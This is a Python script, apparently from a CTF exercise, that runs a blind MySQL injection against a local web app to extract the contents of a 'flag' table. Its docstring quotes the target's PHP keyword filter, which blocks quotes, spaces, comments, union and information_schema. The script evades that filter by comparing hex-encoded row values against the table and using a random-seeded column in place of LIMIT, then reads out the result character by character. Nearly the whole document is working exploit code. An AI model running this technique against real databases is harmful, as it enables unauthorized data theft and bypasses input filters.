"""
-*- coding =utf-8 -*-
@Project : 脚本文件python
#@Author : Crabin
#@File : table_compare.py
#@Time : 2023/2/14 12:39

 if (preg_match("/'|\"|[\\x00-\\x20]|\/\*|;|--|#|information_schema|union/is", $s)) {
 // 屏蔽空格， 注释， information_schema， union
        exit("hacker");
    }
    return $s;

mysql 注入
使用table比较
()> table
只能比较一条
"""
import binascii

import requests

url = "http://localhost:83/"  # 目标url


def join(arr):
    return ",".join([f"0x{binascii.hexlify(i.encode()).decode()}" if i != "" else "0x0" for i in arr])


result = ["", "", "", "", "", ""]  # 用作比较，长度为数据库中列的个数，包含一个随机数列（用作只查询一条数据相当于limit，因为表比较只能比较一条）
result_i = 0

for i in range(1, 3000):
    min_value = 32
    max_value = 130
    last_tmp = ""
    for j in range(min_value, max_value + 1):
        tmp = result[result_i]
        result[result_i] = tmp + chr(j)
        payload = {
            "id": f"740-(({join(result)})>(SELECT*from(SELECT*,FLOOR(1+(RAND(5)*500000))`xxx`from(flag))`t`where(xxx=221556)))",
        }
        html = requests.get(url, params=payload)
        if "PK" not in html.text:
            # ascii 值首次大于
            if j == min_value + 1:
                result[result_i] = tmp
                result_i += 1
            else:
                result[result_i] = last_tmp
            break
        else:
            result[result_i] = tmp
        last_tmp = tmp + chr(j)
    if (result_i == len(result) - 1):
        break
    print(result)
print("fina flag:", result)
